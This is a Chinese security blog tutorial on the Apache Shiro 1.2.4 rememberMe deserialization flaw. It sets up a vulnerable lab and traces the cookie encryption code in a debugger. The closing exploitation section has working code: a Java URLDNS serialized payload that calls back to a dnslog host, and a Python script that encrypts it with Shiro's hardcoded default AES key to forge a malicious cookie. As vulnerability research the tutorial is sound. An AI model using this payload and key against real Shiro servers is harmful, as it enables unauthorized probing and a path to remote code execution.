shiro反序列化初探 - FreeBuf网络安全行业门户

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序把安全装进口袋

Web安全

shiro反序列化初探

2023-03-29 10:50:53

所属地河南省

本文由创作，已纳入「FreeBuf原创奖励计划」，未授权禁止转载

Apache shiro简介

shiro是一种开源的java安全框架。它提供了身份验证（Authentication）、授权（Authorization）、加密（Cryptography）和会话管理（Session Management）等安全功能，用于保护Web应用程序和非Web应用程序中的安全性。可运行在web应用和非web应用中。使用Shiro框架可以使应用程序的安全性得到提高，同时也可以使开发者更加方便地进行身份验证、授权和会话管理等操作，减少了开发的复杂度和工作量。

漏洞原理

shiro框架提供了保持会话的功能，当用户勾选Remember Me并且登录成功后，服务端会返回一个字段名为rememberMe的Cookie字段，该字段将登录信息序列化，AES加密后base64编码作为rememberMe字段值返回给客户端。用户以后每次登录时携带此Cookie就可以免账号密码登录。由于AES是固定key加密，key是写死在源代码中的，（后面分析会讲）那么攻击者就可以将恶意代码序列化，AES加密并编码通过Cookie传递服务端达到恶意代码执行的目的。

影响版本：Apache Shiro <= 1.2.4

环境搭建

Github上有现成的代码包，下载shiro-1.2.4源码：https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4，另外在pom.xml配置文件中添加此Maven依赖。

<?xml version="1.0" encoding="UTF-8"?>
<!--
~ Licensed to the Apache Software Foundation (ASF) under one
~ or more contributor license agreements.  See the NOTICE file
~ distributed with this work for additional information
~ regarding copyright ownership.  The ASF licenses this file
~ to you under the Apache License, Version 2.0 (the
~ "License"); you may not use this file except in compliance
~ with the License.  You may obtain a copy of the License at
~
~     http://www.apache.org/licenses/LICENSE-2.0
~
~ Unless required by applicable law or agreed to in writing,
~ software distributed under the License is distributed on an
~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
~ KIND, either express or implied.  See the License for the
~ specific language governing permissions and limitations
~ under the License.
-->
<!--suppress osmorcNonOsgiMavenDependency -->
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">

<parent>
<groupId>org.apache.shiro.samples</groupId>
<artifactId>shiro-samples</artifactId>
<version>1.2.4</version>
<relativePath>../pom.xml</relativePath>
</parent>

<modelVersion>4.0.0</modelVersion>
<artifactId>samples-web</artifactId>
<name>Apache Shiro :: Samples :: Web</name>
<packaging>war</packaging>

<build>
<plugins>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<configuration>
<forkMode>never</forkMode>
</configuration>
</plugin>
<plugin>
<groupId>org.mortbay.jetty</groupId>
<artifactId>maven-jetty-plugin</artifactId>
<version>${jetty.version}</version>
<configuration>
<contextPath>/</contextPath>
<connectors>
<connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
<port>9080</port>
<maxIdleTime>60000</maxIdleTime>
</connector>
</connectors>
<requestLog implementation="org.mortbay.jetty.NCSARequestLog">
<filename>./target/yyyy_mm_dd.request.log</filename>
<retainDays>90</retainDays>
<append>true</append>
<extended>false</extended>
<logTimeZone>GMT</logTimeZone>
</requestLog>
</configuration>
</plugin>
</plugins>
</build>

<dependencies>
<!--        <dependency>-->
<!--            <groupId>javax.servlet</groupId>-->
<!--            <artifactId>jstl</artifactId>-->
<!--            <scope>runtime</scope>-->
<!--        </dependency>-->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<!--            <scope>provided</scope>-->
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>net.sourceforge.htmlunit</groupId>
<artifactId>htmlunit</artifactId>
<version>2.6</version>
<!--            <scope>test</scope>-->
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jsp-2.1-jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>jcl-over-slf4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!--  这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<!--        <dependency>-->
<!--            <groupId>org.apache.commons</groupId>-->
<!--            <artifactId>commons-collections4</artifactId>-->
<!--            <version>4.0</version>-->
<!--        </dependency>-->
</dependencies>

</project>

用idea打开\shiro-shiro-root-1.2.4\samples\web，配置tomcat服务器，在这就不说了。直接运行，启动shiro的web站点。

游览器访问8080端口，

环境搭建成功。

shiro加密流程分析

在没登陆之前：

Cookie中是没有rememberMe字段的，抓包登录进去，勾选Remember Me选项。

返回一个set-Cookie字段，这个字段就是序列化字符串AES和base64加密后的结果。漏洞点也就在这个字段。

我们可以在AbstractRememberMeManager类的onSuccessfulLogin方法里下个断点，这个方法会在用户登录成功后调用。在if判断里下个断点，这个是判断是否勾选Remember Me字段的。如果是，就调用rememberIdentity方法，如果不是，就返回debug信息。调试一下。

这里判断true，进入到rememberIdentity方法，

getIdentityToRemember方法返回用户登录信息，接着进入rememberIdentity方法，

跟进convertPrincipalsToBytes方法，它返回的是一个bytes数组，步入。

首先对用户的登录信息序列化，然后利用encrypt函数对其进行加密，加密具体细节不再展示，是AES加密，感兴趣的小伙伴可以自己跟一下。加密完成后返回，继续调用rememberSerializedIdentity方法，

在这个方法中对加密后的字节数组流base64编码，然后将它设置在Cookie里返回给客户端，前面抓包看到返回包中的Cookie就是这么形成的了。

漏洞利用

既然能设置Cookie，那么也能读取Cookie。读取Cookie的方法就是getRememberedSerializedIdentity，从客户端读取Cookie并且base64解码，看看谁调用了，往上找。

在父类的getRememberedPrincipals方法中调用了它。这里的bytes就是加密后的字节流，过了判断之后就进入if调用convertBytesToPrincipals方法，跟进。

先解密，然后调用反序列化函数，这个反序列化函数就不跟了，直接看decrypt函数。

这里就调用cipherService.decrypt解密了。encrypted是密文，而getDecryptionCipherKey()返回key，开头讲到过，key是写死在源代码中的，看能不能找到。跟进这个方法。

返回一个属性，看一下这个属性是在哪赋值的。

继续往上找，

还是查找用法。

最后会在构造函数中调用此方法，

这个就是AES加密的key了。在shiro-1.2.4版本中，关于rememberMe加密的，key已知并且固定，就可以恶意构造Cookie来打一些CC的依赖进而RCE。而关于shiro反序列化来RCE的链子在下篇文章中说明，在此埋下伏笔。这篇文章就用URLDNS链来验证反序列化是否行得通。

URLDNS链的EXP：

package com.payload;

import java.io.*;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class payload {
public static void serialize(Object object) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("web.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
System.out.println("1.序列化成功");
}

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
HashMap<URL,Integer>hashMap = new HashMap<URL,Integer>();
URL url = new URL("http://qyoubz.dnslog.cn");
Class c = url.getClass();
Field hashcodefiled = c.getDeclaredField("hashCode");
hashcodefiled.setAccessible(true);
hashcodefiled.set(url,1234);
hashMap.put(url,1);
hashcodefiled.set(url,-1);
serialize(hashMap);
}
}

再利用已知key对其AES和base64加密，python脚本为：

# －*-* coding:utf-8
# @Time    :  2023/03/21 22:51
# @Author  : XiLitter
# @FileName: aes3.py
# @Software: PyCharm
# @Blog    ：https://xilitter.github.io/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES



def get_file_data(filename):
with  open(filename,'rb') as f:
data = f.read()
return data

def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext =  base64.b64encode(iv+encryptor.encrypt(pad(data)))
return ciphertext


if __name__ == '__main__':
data = get_file_data("web.bin")
print(aes_enc(data))